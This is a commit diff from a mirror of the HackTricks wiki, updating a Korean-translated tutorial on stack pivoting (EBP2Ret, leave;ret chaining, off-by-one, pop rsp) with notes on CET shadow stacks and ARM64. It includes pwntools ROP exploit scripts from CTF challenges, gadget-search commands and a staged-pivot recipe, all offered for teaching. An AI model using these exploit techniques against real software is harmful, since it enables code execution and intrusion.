mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r
This commit is contained in:
parent
95fd8df2b4
commit
fd0d256713
@ -4,59 +4,63 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
이 기술은 **기본 포인터(EBP)**를 조작하여 EBP 레지스터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 이용합니다.
|
||||
이 기술은 **기본 포인터 (EBP/RBP)**를 조작하여 프레임 포인터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 체인하는 능력을 이용합니다.
|
||||
|
||||
상기 사항으로, **`leave`**는 기본적으로 다음을 의미합니다:
|
||||
상기 사항으로, x86/x86-64에서 **`leave`**는 다음과 같습니다:
|
||||
```
|
||||
mov ebp, esp
|
||||
pop ebp
|
||||
mov rsp, rbp ; mov esp, ebp on x86
|
||||
pop rbp ; pop ebp on x86
|
||||
ret
|
||||
```
|
||||
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
|
||||
And as the saved **EBP/RBP는 스택에** 저장된 EIP/RIP 앞에 있기 때문에, 스택을 제어함으로써 이를 제어할 수 있습니다.
|
||||
|
||||
> Notes
|
||||
> - 64비트에서는 EBP→RBP 및 ESP→RSP로 교체합니다. 의미는 동일합니다.
|
||||
> - 일부 컴파일러는 프레임 포인터를 생략합니다(“EBP가 사용되지 않을 수 있음” 참조). 이 경우 `leave`가 나타나지 않을 수 있으며 이 기술은 작동하지 않습니다.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수가 실행을 마칠 때의 동작을 활용합니다.
|
||||
이 기술은 **저장된 EBP/RBP를 변경할 수 있지만 EIP/RIP를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수 종료 동작을 활용합니다.
|
||||
|
||||
`fvuln` 실행 중에, **가짜 EBP**를 스택에 주입하여 쉘코드 주소가 위치한 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes to account for the `pop` operation), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면, ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 저장한 주소를 가리키게 합니다.**\
|
||||
여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 이동할 주소와, ESP가 가리키는 주소를 써야 할 주소입니다.
|
||||
`fvuln` 실행 중에 스택에 **가짜 EBP**를 주입하여 쉘코드/ROP 체인 주소가 있는 메모리 영역을 가리키게 하면(amd64에서는 8바이트, x86에서는 4바이트를 더하여 `pop`을 고려), 간접적으로 RIP를 제어할 수 있습니다. 함수가 반환되면 `leave`가 RSP를 조작된 위치로 설정하고, 이후 `pop rbp`가 RSP를 감소시켜 **공격자가 그곳에 저장한 주소를 가리키게 합니다**. 그런 다음 `ret`은 그 주소를 사용합니다.
|
||||
|
||||
**2개의 주소를 알아야 한다는 점에 유의하세요**: ESP/RSP가 이동할 주소와 `ret`이 사용할 그 주소에 저장된 값입니다.
|
||||
|
||||
#### Exploit Construction
|
||||
|
||||
먼저, **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. ESP는 여기로 가리키고 **첫 번째 `ret`을 실행합니다.**
|
||||
먼저 **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. RSP는 여기로 가리키고 **첫 번째 `ret`을 소비합니다**.
|
||||
|
||||
그 다음, **임의의 코드를 실행할** `ret`이 사용하는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:
|
||||
그런 다음, **실행을 전송할** `ret`에서 사용할 주소를 선택해야 합니다. 다음을 사용할 수 있습니다:
|
||||
|
||||
- 유효한 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 주소.
|
||||
- **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"`의 주소(x86 bits).
|
||||
- **`jump esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))의 주소 뒤에 **실행할 쉘코드**.
|
||||
- 일부 [**ROP**](../rop-return-oriented-programing/index.html) 체인.
|
||||
- 적절한 반환 및 인수 뒤에 오는 **`system()`**의 주소(x86에서는 `ret` 대상 = `&system`, 그 다음 4개의 쓰레기 바이트, 그 다음 `&"/bin/sh"`).
|
||||
- 인라인 쉘코드 뒤에 오는 **`jmp esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)).
|
||||
- 쓰기 가능한 메모리에 스테이징된 [**ROP**](../rop-return-oriented-programing/index.html) 체인.
|
||||
|
||||
제어된 메모리 부분의 이러한 주소 앞에는 **`4` 바이트**가 있어야 합니다. 이는 **`pop`** 부분의 `leave` 명령어 때문입니다. 이 4B를 악용하여 **두 번째 가짜 EBP**를 설정하고 실행을 계속 제어할 수 있습니다.
|
||||
이러한 주소들 앞에는 **`leave`에서의 `pop ebp/rbp`를 위한 공간**이 있어야 합니다(amd64에서는 8B, x86에서는 4B). 이러한 바이트를 악용하여 **두 번째 가짜 EBP**를 설정하고 첫 번째 호출이 반환된 후에도 제어를 유지할 수 있습니다.
|
||||
|
||||
#### Off-By-One Exploit
|
||||
|
||||
이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 하위 바이트만 수정할 수 있을 때** 사용됩니다. 이 경우, **`ret`**로 점프할 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다.\
|
||||
보통 0x00 바이트를 수정하여 가능한 한 멀리 점프합니다.
|
||||
저장된 EBP/RBP의 가장 낮은 바이트만 **수정할 수 있는 경우**에 사용되는 변형이 있습니다. 이 경우, **`ret`**로 점프할 주소를 저장하는 메모리 위치는 원래 EBP/RBP와 처음 세 개/다섯 개의 바이트를 공유해야 하므로 1바이트 덮어쓰기가 이를 리디렉션할 수 있습니다. 일반적으로 낮은 바이트(오프셋 0x00)는 가능한 한 멀리 점프하기 위해 증가합니다.
|
||||
|
||||
또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것이 일반적입니다.
|
||||
스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 RSP가 슬레드 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것도 일반적입니다.
|
||||
|
||||
### **EBP Chaining**
|
||||
### EBP Chaining
|
||||
|
||||
따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP`에 `leave; ret` 주소를 넣으면, **스택에서 제어된 `EBP` 주소로 `ESP`를 이동할 수 있습니다.**
|
||||
스택의 저장된 `EBP` 슬롯에 제어된 주소를 배치하고 `EIP/RIP`에 `leave; ret` 가젯을 배치함으로써 **`ESP/RSP`를 공격자가 제어하는 주소로 이동**할 수 있습니다.
|
||||
|
||||
이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고, 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:
|
||||
이제 `RSP`가 제어되고 다음 명령은 `ret`입니다. 제어된 메모리에 다음과 같은 것을 배치합니다:
|
||||
|
||||
- **`&(next fake EBP)`** -> `leave` 명령어의 `pop ebp`로 인해 새로운 EBP를 로드합니다.
|
||||
- **`system()`** -> `ret`에 의해 호출됩니다.
|
||||
- **`&(leave;ret)`** -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.
|
||||
- **`&("/bin/sh")`**-> `system`의 매개변수입니다.
|
||||
- `&(다음 가짜 EBP)` -> `leave`에서 `pop ebp/rbp`로 로드됩니다.
|
||||
- `&system()` -> `ret`에 의해 호출됩니다.
|
||||
- `&(leave;ret)` -> `system`이 끝난 후 RSP를 다음 가짜 EBP로 이동하고 계속합니다.
|
||||
- `&("/bin/sh")` -> `system`의 인수입니다.
|
||||
|
||||
기본적으로 이 방법으로 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
|
||||
이렇게 하면 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
|
||||
|
||||
이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html)와 비슷하지만, 명백한 이점 없이 더 복잡합니다. 그러나 일부 엣지 케이스에서 흥미로울 수 있습니다.
|
||||
이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html)와 비슷하지만 더 복잡하며 엣지 케이스에서만 유용합니다.
|
||||
|
||||
또한, 여기에는 **스택 누수**를 사용하여 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
|
||||
게다가, 여기에서 이 기술을 사용하여 **스택 누수**로 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
|
||||
POP_RSI_R15 = 0x401229
|
||||
|
||||
payload = flat(
|
||||
0x0, # rbp (could be the address of anoter fake RBP)
|
||||
0x0, # rbp (could be the address of another fake RBP)
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
@ -81,23 +85,24 @@ POP_RSI_R15,
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
|
||||
|
||||
payload += flat(
|
||||
buffer, # Load leak address in RBP
|
||||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||||
buffer, # Load leaked address in RBP
|
||||
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
|
||||
)
|
||||
|
||||
pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
## EBP는 사용되지 않을 수 있음
|
||||
> amd64 정렬 팁: System V ABI는 호출 지점에서 16바이트 스택 정렬을 요구합니다. 체인이 `system`과 같은 함수를 호출하는 경우, 정렬을 유지하고 `movaps` 충돌을 피하기 위해 호출 전에 정렬 가젯(예: `ret` 또는 `sub rsp, 8 ; ret`)을 추가하세요.
|
||||
|
||||
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
|
||||
This is because the **prologue and epilogue changes** if the binary is optimized.
|
||||
## EBP는 사용되지 않을 수 있습니다
|
||||
|
||||
- **최적화되지 않음:**
|
||||
[**이 게시물에서 설명된 바와 같이**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 이진 파일이 일부 최적화 또는 프레임 포인터 생략으로 컴파일된 경우, **EBP/RBP는 ESP/RSP를 제어하지 않습니다**. 따라서 EBP/RBP를 제어하여 작동하는 모든 익스플로잇은 프로롤로그/에필로그가 프레임 포인터에서 복원하지 않기 때문에 실패합니다.
|
||||
|
||||
- 최적화되지 않음 / 프레임 포인터 사용:
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
mov %esp,%ebp # set new ebp
|
||||
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
|
||||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
- **최적화됨:**
|
||||
- 최적화됨 / 프레임 포인터 생략:
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
push %ebx # save callee-saved register
|
||||
sub $0x100,%esp # increase stack size
|
||||
.
|
||||
.
|
||||
.
|
||||
add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
pop %ebx # restore
|
||||
ret # return
|
||||
```
|
||||
## RSP 제어의 다른 방법
|
||||
On amd64에서는 `leave ; ret` 대신에 `pop rbp ; ret`를 자주 볼 수 있지만, 프레임 포인터가 완전히 생략되면 피벗할 `rbp` 기반 에필로그가 없습니다.
|
||||
|
||||
### **`pop rsp`** 가젯
|
||||
## RSP를 제어하는 다른 방법
|
||||
|
||||
[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 누출**이 있었습니다:
|
||||
### `pop rsp` 가젯
|
||||
|
||||
[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 그 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했고, **`pop rsp` 가젯**이 있었으며 **스택에서의 leak**가 있었습니다:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -167,7 +174,7 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
### xchg \<reg>, rsp gadget
|
||||
### xchg <reg>, rsp gadget
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
@ -175,26 +182,73 @@ xchg <reg>, rsp
|
||||
```
|
||||
### jmp esp
|
||||
|
||||
ret2esp 기술에 대한 내용은 여기에서 확인하세요:
|
||||
ret2esp 기법에 대한 내용은 여기에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## References & Other Examples
|
||||
### 피벗 가젯을 빠르게 찾기
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64비트, ret sled로 시작하는 rop 체인을 이용한 off by one 취약점
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak와 qword의 WWW를 제공합니다. 먼저 스택 leak를 얻고 WWW를 사용하여 pie leak를 다시 가져옵니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다 ([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
|
||||
좋아하는 가젯 찾기 도구를 사용하여 고전적인 피벗 프리미티브를 검색하세요:
|
||||
|
||||
- `leave ; ret` 함수 또는 라이브러리에서
|
||||
- `pop rsp` / `xchg rax, rsp ; ret`
|
||||
- `add rsp, <imm> ; ret` (또는 x86에서 `add esp, <imm> ; ret`)
|
||||
|
||||
예시:
|
||||
```bash
|
||||
# Ropper
|
||||
ropper --file ./vuln --search "leave; ret"
|
||||
ropper --file ./vuln --search "pop rsp"
|
||||
ropper --file ./vuln --search "xchg rax, rsp ; ret"
|
||||
|
||||
# ROPgadget
|
||||
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
```
|
||||
### 고전적인 피벗 스테이징 패턴
|
||||
|
||||
많은 CTF/익스플로잇에서 사용되는 강력한 피벗 전략:
|
||||
|
||||
1) 작은 초기 오버플로우를 사용하여 `read`/`recv`를 큰 쓰기 가능한 영역(예: `.bss`, 힙 또는 매핑된 RW 메모리)으로 호출하고 그곳에 전체 ROP 체인을 배치합니다.
|
||||
2) 피벗 가젯(`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`)으로 돌아가 RSP를 해당 영역으로 이동합니다.
|
||||
3) 스테이지 체인을 계속 진행합니다(예: libc 누출, `mprotect` 호출, 그런 다음 `read` 셸코드, 그 후 점프).
|
||||
|
||||
## 스택 피벗을 무력화하는 현대적 완화책 (CET/섀도우 스택)
|
||||
|
||||
현대 x86 CPU와 OS는 점점 더 **CET 섀도우 스택(SHSTK)**을 배포합니다. SHSTK가 활성화되면, `ret`는 일반 스택의 반환 주소와 하드웨어로 보호된 섀도우 스택을 비교합니다; 불일치가 발생하면 제어 보호 오류가 발생하고 프로세스가 종료됩니다. 따라서 EBP2Ret/leave;ret 기반 피벗과 같은 기술은 피벗된 스택에서 첫 번째 `ret`가 실행되는 즉시 충돌합니다.
|
||||
|
||||
- 배경 및 더 깊은 세부정보는 다음을 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
{{#endref}}
|
||||
|
||||
- 리눅스에서의 빠른 확인:
|
||||
```bash
|
||||
# 1) Is the binary/toolchain CET-marked?
|
||||
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
|
||||
|
||||
# 2) Is the CPU/kernel capable?
|
||||
grep -E 'user_shstk|ibt' /proc/cpuinfo
|
||||
|
||||
# 3) Is SHSTK active for this process?
|
||||
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
|
||||
|
||||
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
|
||||
(gdb) checksec
|
||||
```
|
||||
- 실습/CTF 노트:
|
||||
- 일부 최신 배포판은 하드웨어 및 glibc 지원이 있을 때 CET 지원 바이너리에 대해 SHSTK를 활성화합니다. VM에서 제어된 테스트를 위해 SHSTK는 커널 부트 매개변수 `nousershstk`를 통해 시스템 전체에서 비활성화할 수 있으며, 시작 시 glibc 조정으로 선택적으로 활성화할 수 있습니다(참조 참조). 프로덕션 대상에서 완화 조치를 비활성화하지 마십시오.
|
||||
- JOP/COOP 또는 SROP 기반 기술은 여전히 일부 대상에서 유효할 수 있지만, SHSTK는 특히 `ret` 기반 피벗을 깨뜨립니다.
|
||||
|
||||
- Windows 노트: Windows 10+는 사용자 모드를 노출하고 Windows 11은 그림자 스택을 기반으로 한 커널 모드 "하드웨어 강제 스택 보호"를 추가합니다. CET 호환 프로세스는 `ret`에서 스택 피벗/ROP를 방지합니다; 개발자는 CETCOMPAT 및 관련 정책을 통해 선택적으로 활성화합니다(참조 참조).
|
||||
|
||||
## ARM64
|
||||
|
||||
ARM64에서 함수의 **프롤로그와 에필로그**는 **스택에서 SP 레지스터를 저장하거나 검색하지 않습니다**. 게다가, **`RET`** 명령은 SP가 가리키는 주소로 반환하지 않고 **`x30`** 내부의 주소로 반환합니다.
|
||||
ARM64에서 함수의 **프롤로그와 에필로그**는 **스택에 SP 레지스터를 저장하거나 검색하지 않습니다**. 또한, **`RET`** 명령은 SP가 가리키는 주소로 반환하지 않고, **`x30`** 내부의 주소로 반환합니다.
|
||||
|
||||
따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어할 수 있게 되더라도 여전히 **`x30`** 레지스터를 **제어할 방법이 필요합니다**.
|
||||
따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어할 수 있게 되더라도 여전히 **`x30`** 레지스터를 제어할 방법이 필요합니다.
|
||||
|
||||
- 프롤로그
|
||||
|
||||
@ -213,12 +267,23 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 **제어할 수 있는 것**입니다 (어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**를 수행하는 것입니다.
|
||||
> ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 제어할 수 있는 것입니다(어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**로 이동하는 것입니다.
|
||||
|
||||
다음 페이지에서도 **ARM64에서의 Ret2esp**의 동등한 내용을 확인할 수 있습니다:
|
||||
다음 페이지에서 **ARM64의 Ret2esp**에 해당하는 내용을 볼 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 비트, ret sled로 시작하는 오프 바이 원 익스플로잇
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 비트, relro, canary, nx 및 pie 없음. 프로그램은 스택 또는 pie에 대한 누출과 qword의 WWW를 제공합니다. 먼저 스택 누출을 얻고 WWW를 사용하여 다시 돌아가서 pie 누출을 얻습니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
|
||||
- 리눅스 커널 문서: 제어 흐름 강화 기술(CET) 그림자 스택 — SHSTK, `nousershstk`, `/proc/$PID/status` 플래그 및 `arch_prctl`을 통한 활성화에 대한 세부정보. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn: 커널 모드 하드웨어 강제 스택 보호(CET 그림자 스택이 Windows에서). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user